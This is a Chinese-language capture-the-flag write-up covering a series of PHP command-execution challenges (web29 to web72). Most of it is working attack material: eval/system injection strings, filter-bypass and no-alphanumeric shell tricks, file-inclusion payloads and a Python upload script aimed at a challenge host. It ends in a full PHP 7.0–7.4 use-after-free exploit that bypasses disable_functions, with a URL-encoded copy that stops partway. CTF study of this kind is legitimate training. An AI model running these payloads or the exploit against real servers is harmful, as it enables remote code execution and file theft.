web29
?c=system("cat fla*.php");
或者
连蚁剑得flag。
web30
或者其他姿势,因为过滤太少,命令执行得函数很多,绕过姿势也很多,因此不列举了。
web31
或者
?c=echo`tac%09fl*`;
web32
利用自己以前没有注意过得一个点。
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
过滤了括号和分号确实有些难受。过滤了括号只能用无括号的函数:
但是过滤了分号让我非常不解,eval内如果要RCE必须以分号结尾啊,没有分号怎么行呢?
后来看了WP,发现自己的问题所在:
例如eval这样的句子,
eval("echo 1;");
eval("echo 1?>");
这两种都是可以的。因此利用?>。接下来有大致两种方法。
一种是这样:
?c=include$_GET[0]?>&0=data://text/plain,<?php phpinfo();?>
利用文件包含的洞,在这题的环境直接可以RCE。
或者利用php伪协议来读php文件:
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
学到了!还是自己太菜了。
web33
这题和web32基本一样,多了一些无关紧要的过滤,又想了一种可以include日志:
同样可以拿到shell,然后读文件即可。
web34
同上。
web35
同上
web36
同上,不过0改成a即可。
web37
相当于没过滤,姿势太多。
?c=data://text/plain,<?php system("cat fla*")?>
web38
?c=data://text/plain,<?= system("cat fla*");?>
相当于没过滤,姿势太多。
web39
同上,不过hint是这样说的:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
web40
利用无参数RCE的姿势,一个坑的地方就是括号:
并不是(),而是(),实在有毒。。。
参考:PHP Parametric Function RCE
姿势一
readfile(array_rand(array_flip(scandir(current(localeconv())))));
或者
readfile(next(array_reverse(scandir(current(localeconv())))));
姿势二
以为这不是一个apache2的环境,但是经过测试确实存在getallheaders(),因此利用getallheaders():
?c=eval(array_rand(array_flip(getallheaders())));
碰运气。
姿势三
利用get_defined_vars()
?c=eval(end(current(get_defined_vars())));&a=system("ls");
这题利用session_id的话,无法读flag,因为过滤了数字,也没法hex2bin:
因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
没有hex2bin的话,就只能执行数字字母的命令了。或许也有其他的函数可以实现?
web41
过滤了异或和取反,但是没过滤|,因此利用|。
脚本如下:
<?php
$payload = 'phpinfo';
$length = strlen($payload);
$a = '';
$b = '';
$flag = 0;
echo '<br>';
for ($l = 0; $l < $length; $l++) {
$flag=0;
for ($i = 1; $i < 256; $i++) {
if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($i))) continue;
for ($j = 1; $j < 256; $j++) {
if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($j))) continue;
if ((chr($i) | chr($j)) === $payload[$l]) {
echo urlencode(chr($i));
$a=$a.urlencode(chr($i));
echo '|';
echo urlencode(chr($j));
$b=$b.urlencode(chr($j));
echo '=' . $payload[$l];
echo "<br>";
$flag=1;
break;
}
}
if($flag===1){
break;
}
}
}
echo $a.'|'.$b;
有毒的地方就是
这个:eval("echo($c);");
要闭合echo,然后构造。此外,还要记得加单引号。还要用bp,直接harkbar不行。
c='');('%13%19%13%14%05%0D'|'%60%60%60%60%60%60')(('%03%01%14'|'%60%60%60').' '.('%06%0C%01%07%02%10%08%10'|'%60%60%60%60%2C%60%60%60'));//
c='');system("cat flag.php");//
web42
system($c." >/dev/null 2>&1");
把标准输出和错误输出都重定向到了/dev/null,相当于没有了输出,但是这仅仅影响它本来的那一条命令,分隔命令即可,也就是命令执行中的执行多条命令。
cat flag.php;
cat flag.php%0a
cat flag.php||
cat flag.php%26
cat flag.php%26%26
web43
过滤了cat用tac,过滤了;用%0a等。
tac flag.php%0a
web44
?c=tac fl*%0a
?c=tac fl??????%0a
web45
?c=tac%09fla*%0a
web46
?c=tac%09fla?????%0a
web47
?c=tac%09fla''g.php%0a
web48
?c=tac%09fla''g.php%0a
web49
?c=tac%09fla''g.php%0a
web50
tac<fla''g.php%0a
web51
?c=nl<>fla''g.php%0a
web52
?c=nl$IFS''/fla''g%0a
web53
?c=ca''t$IFS''fla''g.php
web54
?c=uniq${IFS}f???????
还学习到了新的姿势:
?c=/bin/ca?${IFS}f???????
web55
超级有意思的一道题目,学到了好多知识。
姿势一
首先是/bin这个目录。
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
就像上一题用到了/bin/ca?一样,这题利用/bin/base64
base64这个命令就是将指定的文件的内容以base64加密的形式输出。
因为过滤了字母,正好可以用64来匹配,最终payload如下:
/???/????64 ????????
匹配的是/bin/base64 flag.php
姿势二
姿势一有些类似,不过利用的是/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
大师傅们利用的是/usr/bin下的bzip2:
/???/???/????2 ????????
匹配的是/usr/bin/bzip2 flag.php
,把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。膜!大师傅们的知识面实在太广了。
姿势三
利用了P神的无数字字母getshell:
无字母数字webshell之提高篇
发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
讲命令写入文件后,可以利用点. 来执行文件中的命令,例如. file
。也可以source file
,但是这题过滤了字母,因此只能用点。
如何正确匹配到我们上传的文件呢?探索过程见p神的文章,最后的利用是/???/????????[@-[]
写一个文件上传的前端:
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="1">
<input type="submit" name="2">
</form>
</body>
</html>
上传抓个包:
然后在题目的环境里抓包,改成上传就可以了:
P神太强了!!!
还有大师傅写了个python脚本,省去了抓包的事:
import requests
while True:
url = "http://80f8239f-d1d3-4365-8b48-12adf22459fe.chall.ctf.show/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
if r.text.find("flag") >0:
print(r.text)
break
web56
利用上题p神的方法。
web57
又是新姿势,知识点是$(( ))与整数运算。想办法构造出36.
首先要知道双小括号的用处:
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
还要知道$(())
的值是0。此外,关于取反,根据我学习下来得到的经验就是如果b=~a,那么a+b=-1。因此:
因此想获得36,就需要对-37进行取反。-37怎么得到呢?先看一下-2怎么得到:
$(( $((~$(()))) $((~$(()))) )) 是-2
$((~$(()))) 是-1
也就是说,默认是相加,这样也行:
$(( $((~$(()))) + $((~$(()))) ))
因此在里面放37个$((~$(())))
,就可以得到-37,然后取反就可以了。
最终:
$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
web58
接下来开始绕disable_functions了。
读文件的函数有这些:
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
这题都没有过滤,全都可以读flag.php。
注意fgets函数的使用:
c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}
或者蚁剑直接连然后打开flag.php,有手就行。
web59
ban了些函数,这些都能用:
highlight_file()
show_source()
fgets()
file()
此外还学习到了利用fopen的一些姿势:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);
学到了学到了!。
web60
大师傅们的姿势实在是太多了,又学习到了一种全新姿势:
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
web61
c=show_source("flag.php");
web62
c=show_source("flag.php");
web63
c=show_source("flag.php");
web64
c=show_source("flag.php");
web65
c=show_source("flag.php");
web66
c=highlight_file("/flag.txt");
web67
c=var_dump(scandir("/"));
c=highlight_file("/flag.txt");
web68
各种读文件的都被过滤了,但是还是可以
c=var_dump(scandir("/"));
这里就要想到文件包含(对不起我没想到。。。实在太菜了。)include没ban的话就可以利用文件包含的漏洞了,是txt就直接包含,是php就base64包含:
c=include("/flag.txt");
web69
因为过滤了var_dump和print_r,因此想要输出数组的内容只能遍历数组。
c=
$a=scandir("/");
foreach($a as $value){
echo $value." ";
}
太久没用过PHP的foreach了,我差点都以为PHP没有foreach了。。。
顺便提一下,除了scandir,还有glob也可以用:
c=
$a=glob("/*");
foreach($a as $value){
echo $value." ";
}
此外还有一种新姿势:
c=
$a=new DirectoryIterator('glob:///*');
foreach($a as $f){
echo($f->__toString()." ");
}
其他就没啥可说的,还是c=include("/flag.txt");
web70
c=include("/flag.txt");
web71
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
用exit或者die提前结束进程,使得后面的代码
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
不会被执行。
c=include("/flag.txt");exit();
web72
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
存在open_basedir,利用glob伪协议在筛选目录时不受open_basedir制约:
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
exit();
知道了文件是/flag0.txt之后,就要想办法绕过open_basedir和disable_functions来读了。这题用蚁剑没成功,看了一下,利用的是php7-backtrace-bypass。
原始脚本如下:
php7-backtrace-bypass
不过这个脚本里的一些函数都被也被ban了,看来是出题人故意的最后魔改如下:
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg =str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
url编码就可以得到flag。
截图:
传参:
c=%0D%0A%0D%0A%23+PHP+7.0-7.4+disable_functions+bypass+PoC+%28*nix+only%29%0D%0A%23%0D%0A%23+Bug%3A+https%3A%2F%2Fbugs.php.net%2Fbug.php%3Fid%3D76047%0D%0A%23+debug_backtrace%28%29+returns+a+reference+to+a+variable+%0D%0A%23+that+has+been+destroyed%2C+causing+a+UAF+vulnerability.%0D%0A%23%0D%0A%23+This+exploit+should+work+on+all+PHP+7.0-7.4+versions%0D%0A%23+released+as+of+30%2F01%2F2020.%0D%0A%23%0D%0A%23+Author%3A+https%3A%2F%2Fgithub.com%2Fmm0r1%0D%0A%0D%0Apwn%28%22cat+%2Fflag0.txt%22%29%3B%0D%0A%0D%0Afunction+pwn%28%24cmd%29+%7B%0D%0A++++global+%24abc%2C+%24helper%2C+%24backtrace%3B%0D%0A%0D%0A++++class+Vuln+%7B%0D%0A++++++++public+%24a%3B%0D%0A++++++++public+function+__destruct%28%29+%7B+%0D%0A++++++++++++global+%24backtrace%3B+%0D%0A++++++++++++unset%28%24this-%3Ea%29%3B%0D%0A++++++++++++%24backtrace+%3D+%28new+Exception%29-%3EgetTrace%28%29%3B+%23+%3B%29%0D%0A++++++++++++if%28%21isset%28%24backtrace%5B1%5D%5B%27args%27%5D%29%29+%7B+%23+PHP+%3E%3D+7.4%0D%0A++++++++++++++++%24backtrace+%3D+debug_backtrace%28%29%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++class+Helper+%7B%0D%0A++++++++public+%24a%2C+%24b%2C+%24c%2C+%24d%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+str2ptr%28%26%24str%2C+%24p+%3D+0%2C+%24s+%3D+8%29+%7B%0D%0A++++++++%24address+%3D+0%3B%0D%0A++++++++for%28%24j+%3D+%24s-1%3B+%24j+%3E%3D+0%3B+%24j--%29+%7B%0D%0A++++++++++++%24address+%3C%3C%3D+8%3B%0D%0A++++++++++++%24address+%7C%3D+ord%28%24str%5B%24p%2B%24j%5D%29%3B%0D%0A++++++++%7D%0D%0A++++++++return+%24address%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+ptr2str%28%24ptr%2C+%24m+%3D+8%29+%7B%0D%0A++++++++%24out+%3D+%22%22%3B%0D%0A++++++++for+%28%24i%3D0%3B+%24i+%3C+%24m%3B+%24i%2B%2B%29+%7B%0D%0A++++++++++++%24out+.%3D+sprintf%28%22%25c%22%2C%28%24ptr+%26+0xff%29%29%3B%0D%0A++++++++++++%24ptr+%3E%3E%3D+8%3B%0D%0A++++++++%7D%0D%0A++++++++return+%24out%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+write%28%26%24str%2C+%24p%2C+%24v%2C+%24n+%3D+8%29+%7B%0D%0A++++++++%24i+%3D+0%3B%0D%0A++++++++for%28%24i+%3D+0%3B+%24i+%3C+%24n%3B+%24i%2B%2B%29+%7B%0D%0A++++++++++++%24str%5B%24p+%2B+%24i%5D+%3D+sprintf%28%22%25c%22%2C%28%24v+%26+0xff%29%29%3B%0D%0A++++++++++++%24v+%3E%3E%3D+8%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++function+leak%28%24addr%2C+%24p+%3D+0%2C+%24s+%3D+8%29+%7B%0D%0A++++++++global+%24abc%2C+%24helper%3B%0D%0A++++++++write%28%24abc%2C+0x68%2C+%24addr+%2B+%24p+-+0x10%29%3B%0D%0A++++++++%24leak+%3D+strlen%28%24helper-%3Ea%29%3B%0D%0A++++++++if%28%24s+%21%3D+8%29+%7B+%24leak+%25%3D+2+%3C%3C+%28%24s+*+8%29+-+1%3B+%7D%0D%0A++++++++return+%24leak%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+parse_elf%28%24base%29+%7B%0D%0A++++++++%24e_type+%3D+leak%28%24base%2C+0x10%2C+2%29%3B%0D%0A%0D%0A++++++++%24e_phoff+%3D+leak%28%24base%2C+0x20%29%3B%0D%0A++++++++%24e_phentsize+%3D+leak%28%24base%2C+0x36%2C+2%29%3B%0D%0A++++++++%24e_phnum+%3D+leak%28%24base%2C+0x38%2C+2%29%3B%0D%0A%0D%0A++++++++for%28%24i+%3D+0%3B+%24i+%3C+%24e_phnum%3B+%24i%2B%2B%29+%7B%0D%0A++++++++++++%24header+%3D+%24base+%2B+%24e_phoff+%2B+%24i+*+%24e_phentsize%3B%0D%0A++++++++++++%24p_type++%3D+leak%28%24header%2C+0%2C+4%29%3B%0D%0A++++++++++++%24p_flags+%3D+leak%28%24header%2C+4%2C+4%29%3B%0D%0A++++++++++++%24p_vaddr+%3D+leak%28%24header%2C+0x10%29%3B%0D%0A++++++++++++%24p_memsz+%3D+leak%28%24header%2C+0x28%29%3B%0D%0A%0D%0A++++++++++++if%28%24p_type+%3D%3D+1+%26%26+%24p_flags+%3D%3D+6%29+%7B+%23+PT_LOAD%2C+PF_Read_Write%0D%0A++++++++++++++++%23+handle+pie%0D%0A++++++++++++++++%24data_addr+%3D+%24e_type+%3D%3D+2+%3F+%24p_vaddr+%3A+%24base+%2B+%24p_vaddr%3B%0D%0A++++++++++++++++%24data_size+%3D+%24p_memsz%3B%0D%0A++++++++++++%7D+else+if%28%24p_type+%3D%3D+1+%26%26+%24p_flags+%3D%3D+5%29+%7B+%23+PT_LOAD%2C+PF_Read_exec%0D%0A++++++++++++++++%24text_size+%3D+%24p_memsz%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A%0D%0A++++++++if%28%21%24data_addr+%7C%7C+%21%24text_size+%7C%7C+%21%24data_size%29%0D%0A++++++++++++return+false%3B%0D%0A%0D%0A++++++++return+%5B%24data_addr%2C+%24text_size%2C+%24data_size%5D%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+get_basic_funcs%28%24base%2C+%24elf%29+%7B%0D%0A++++++++list%28%24data_addr%2C+%24text_size%2C+%24data_size%29+%3D+%24elf%3B%0D%0A++++++++for%28%24i+%3D+0%3B+%24i+%3C+%24data_size+%2F+8%3B+%24i%2B%2B%29+%7B%0D%0A++++++++++++%24leak+%3D+leak%28%24data_addr%2C+%24i+*+8%29%3B%0D%0A++++++++++++if%28%24leak+-+%24base+%3E+0+%26%26+%24leak+-+%24base+%3C+%24data_addr+-+%24base%29+%7B%0D%0A++++++++++++++++%24deref+%3D+leak%28%24leak%29%3B%0D%0A++++++++++++++++%23+%27constant%27+constant+check%0D%0A++++++++++++++++if%28%24deref+%21%3D+0x746e6174736e6f63%29%0D%0A++++++++++++++++++++continue%3B%0D%0A++++++++++++%7D+else+continue%3B%0D%0A%0D%0A++++++++++++%24leak+%3D+leak%28%24data_addr%2C+%28%24i+%2B+4%29+*+8%29%3B%0D%0A++++++++++++if%28%24leak+-+%24base+%3E+0+%26%26+%24leak+-+%24base+%3C+%24data_addr+-+%24base%29+%7B%0D%0A++++++++++++++++%24deref+%3D+leak%28%24leak%29%3B%0D%0A++++++++++++++++%23+%27bin2hex%27+constant+check%0D%0A++++++++++++++++if%28%24deref+%21%3D+0x786568326e6962%29%0D%0A++++++++++++++++++++continue%3B%0D%0A++++++++++++%7D+else+continue%3B%0D%0A%0D%0A++++++++++++return+%24data_addr+%2B+%24i+*+8%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++function+get_binary_base%28%24binary_leak%29+%7B%0D%0A++++++++%24base+%3D+0%3B%0D%0A++++++++%24start+%3D+%24binary_leak+%26+0xfffffffffffff000%3B%0D%0A++++++++for%28%24i+%3D+0%3B+%24i+%3C+0x1000%3B+%24i%2B%2B%29+%7B%0D%0A++++++++++++%24addr+%3D+%24start+-+0x1000+*+%24i%3B%0D%0A++++++++++++%24leak+%3D+leak%28%24addr%2C+0%2C+7%29%3B%0D%0A++++++++++++if%28%24leak+%3D%3D+0x10102464c457f%29+%7B+%23+ELF+header%0D%0A++++++++++++++++return+%24addr%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++function+get_system%28%24basic_funcs%29+%7B%0D%0A++++++++%24addr+%3D+%24basic_funcs%3B%0D%0A++++++++do+%7B%0D%0A++++++++++++%24f_entry+%3D+leak%28%24addr%29%3B%0D%0A++++++++++++%24f_name+%3D+leak%28%24f_entry%2C+0%2C+6%29%3B%0D%0A%0D%0A++++++++++++if%28%24f_name+%3D%3D+0x6d6574737973%29+%7B+%23+system%0D%0A++++++++++++++++return+leak%28%24addr+%2B+8%29%3B%0D%0A++++++++++++%7D%0D%0A++++++++++++%24addr+%2B%3D+0x20%3B%0D%0A++++++++%7D+while%28%24f_entry+%21%3D+0%29%3B%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+trigger_uaf%28%24arg%29+%7B%0D%0A++++++++%23+str_shuffle+prevents+opcache+string+interning%0D%0A++++++++%24arg+%3Dstr_shuffle%28%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27%29%3B%0D%0A++++++++%24vuln+%3D+new+Vuln%28%29%3B%0D%0A++++++++%24vuln-%3Ea+%3D+%24arg%3B%0D%0A++++%7D%0D%0A%0D%0A++++if%28stristr%28PHP_OS%2C+%27WIN%27%29%29+%7B%0D%0A++++++++die%28%27This+PoC+is+for+*nix+systems+only.%27%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24n_alloc+%3D+10%3B+%23+increase+this+value+if+UAF+fails%0D%0A++++%24contiguous+%3D+%5B%5D%3B%0D%0A++++for%28%24i+%3D+0%3B+%24i+%3C+%24n_alloc%3B+%24i%2B%2B%29%0D%0A++++++++%24contiguous%5B%5D+%3D+str_shuffle%28%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27%29%3B%0D%0A%0D%0A++++trigger_uaf%28%27x%27%29%3B%0D%0A++++%24abc+%3D+%24backtrace%5B1%5D%5B%27args%27%5D%5B0%5D%3B%0D%0A%0D%0A++++%24helper+%3D+new+Helper%3B%0D%0A++++%24helper-%3Eb+%3D+function+%28%24x%29+%7B+%7D%3B%0D%0A%0D%0A++++if%28strlen%28%24abc%29+%3D%3D+79+%7C%7C+strlen%28%24abc%29+%3D%3D+0%29+%7B%0D%0A++++++++die%28%22UAF+failed%22%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++%23+leaks%0D%0A++++%24closure_handlers+%3D+str2ptr%28%24abc%2C+0%29%3B%0D%0A++++%24php_heap+%3D+str2ptr%28%24abc%2C+0x58%29%3B%0D%0A++++%24abc_addr+%3D+%24php_heap+-+0xc8%3B%0D%0A%0D%0A++++%23+fake+value%0D%0A++++write%28%24abc%2C+0x60%2C+2%29%3B%0D%0A++++write%28%24abc%2C+0x70%2C+6%29%3B%0D%0A%0D%0A++++%23+fake+reference%0D%0A++++write%28%24abc%2C+0x10%2C+%24abc_addr+%2B+0x60%29%3B%0D%0A++++write%28%24abc%2C+0x18%2C+0xa%29%3B%0D%0A%0D%0A++++%24closure_obj+%3D+str2ptr%28%24abc%2C+0x20%29%3B%0D%0A%0D%0A++++%24binary_leak+%3D+leak%28%24closure_handlers%2C+8%29%3B%0D%0A++++if%28%21%28%24base+%3D+get_binary_base%28%24binary_leak%29%29%29+%7B%0D%0A++++++++die%28%22Couldn%27t+determine+binary+base+address%22%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++if%28%21%28%24elf+%3D+parse_elf%28%24base%29%29%29+%7B%0D%0A++++++++die%28%22Couldn%27t+parse+ELF+header%22%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++if%28%21%28%24basic_funcs+%3D+get_basic_funcs%28%24base%2C+%24elf%29%29%29+%7B%0D%0A++++++++die%28%22Couldn%27t+get+basic_functions+address%22%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++if%28%21%28%24zif_system+%3D+get_system%28%24basic_funcs%29%29%29+%7B%0D%0A++++++++die%28%22Couldn%27t+get+zif_system+address%22%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++%23+fake+closure+object%0D%0A++++%24fake_obj_offset+%3D+0xd0%3B%0D%0A++++for%28%24i+%3D+0%3B+%24i+%3C+0x110%3B+%24i+%2B%3D+8%29+%7B%0D%0A++++++++write%28%24abc%2C+%24fake_obj_offset+%2B+%24i%2C+leak%28%24closure_obj%2C+%24i%29%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++%23+pwn%0D%0A++++write%28%24abc%2C+0x20%2C+%24abc_addr+%2B+%24fake_obj_offset%29%3B%0D%0A++++write%28%24abc%2C+0xd0+%2B+0x38%2C+1%2C+4%29%3B+%23+internal+func+type%0D%0A++++write%28%24abc%2C+0xd0+%2B+0x68%2C+%24zif_syst